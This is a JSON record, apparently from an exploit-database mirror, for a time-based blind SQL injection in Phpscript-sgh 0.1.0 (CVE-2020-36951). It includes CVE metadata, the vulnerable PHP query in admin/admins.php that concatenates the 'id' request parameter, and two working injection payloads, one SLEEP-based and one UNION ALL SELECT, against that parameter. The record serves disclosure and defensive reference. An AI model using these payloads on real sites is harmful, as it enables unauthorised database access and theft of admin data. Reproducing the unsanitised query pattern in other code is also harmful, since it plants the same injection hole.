{"exploit":{"id":"EDB-49192","name":"Phpscript-sgh 0.1.0 - 'id' Time Based Blind SQL Injection (SQLi)","description":"Phpscript-sgh 0.1.0 - 'id' Time Based Blind SQL Injection (SQLi)","cves":["CVE-2020-36951"],"author":"KeopssGroup0day_Inc","published":"2020-12-04","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49192","path":"exploits/php/webapps/49192.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49192.txt","vulnerabilities":[{"id":"CVE-2020-36951","state":"PUBLISHED","title":"Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection","titleSource":"CVE Program","description":"Phpscript-sgh 0.1.0 contains a time-based blind SQL injection vulnerability in the admin interface that allows attackers to manipulate database queries through the 'id' parameter. Attackers can exploit this vulnerability by crafting malicious payloads that trigger time delays, enabling them to extract sensitive database information through conditional sleep techniques.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-36951","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-36951"},"updatedAt":"2026-01-27T15:50:58.407Z","retrievedAt":"2026-11-27T03:16:51.101Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49192.png?v=2","url":"https://exploitbin.com/exploits/EDB-49192","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49192/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49192/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection\n# Date: 2020-12-04\n# Exploit Author: KeopssGroup0day,Inc\n# Vendor Homepage: https://github.com/geraked/phpscript-sgh\n# Software Link: https://github.com/geraked/phpscript-sgh\n# Version: 0.1.0\n# Tested on: Kali Linux\n\n------------------------------------------------------------------------------------------------------------------------\nSource code(localhost/admin/admins.php):\n\nif ($_REQUEST['op']=='add') {\n\t$id = $username = $password = $conf_password = $firstname = $lastname =\n$email = $pic = $_SESSION['aapic'] = \"\";\n\t}\n\telse {\n\t\t$result\t= $conn->query(\"SELECT * FROM sgh_admins WHERE\nid=\".test_input($_REQUEST['id']).\" LIMIT 1\");\n\t\t$row\t= $result->fetch_assoc();\n\t\textract($row);\n\t\t$_SESSION['aapic'] = $pic;\n\t}\n\n------------------------------------------------------------------------------------------------------------------------\nParameter: id (GET)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: op=edit&id=1 AND (SELECT 9367 FROM\n(SELECT(SLEEP(5)))pBEE)&_pjax=#pjax-container\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 7 columns\nPayload: op=edit&id=-5015 UNION ALL SELECT\nNULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716271,0x536b4e4a775448674c73477175675a4c58476659474f524b535456706e7276474251424a4f67744b,0x717a626b71),NULL--\n-&_pjax=#pjax-container\n------------------------------------------------------------------------------------------------------------------------","sha256":"f4af44adcc4d7e9fcdc631eafdb81aaf596db794278b4f2305a20113857c84db","bytes":1504,"fetchedAt":"2026-11-27T09:09:33.170Z","encoding":"utf-8 (display only; download retains original bytes)"}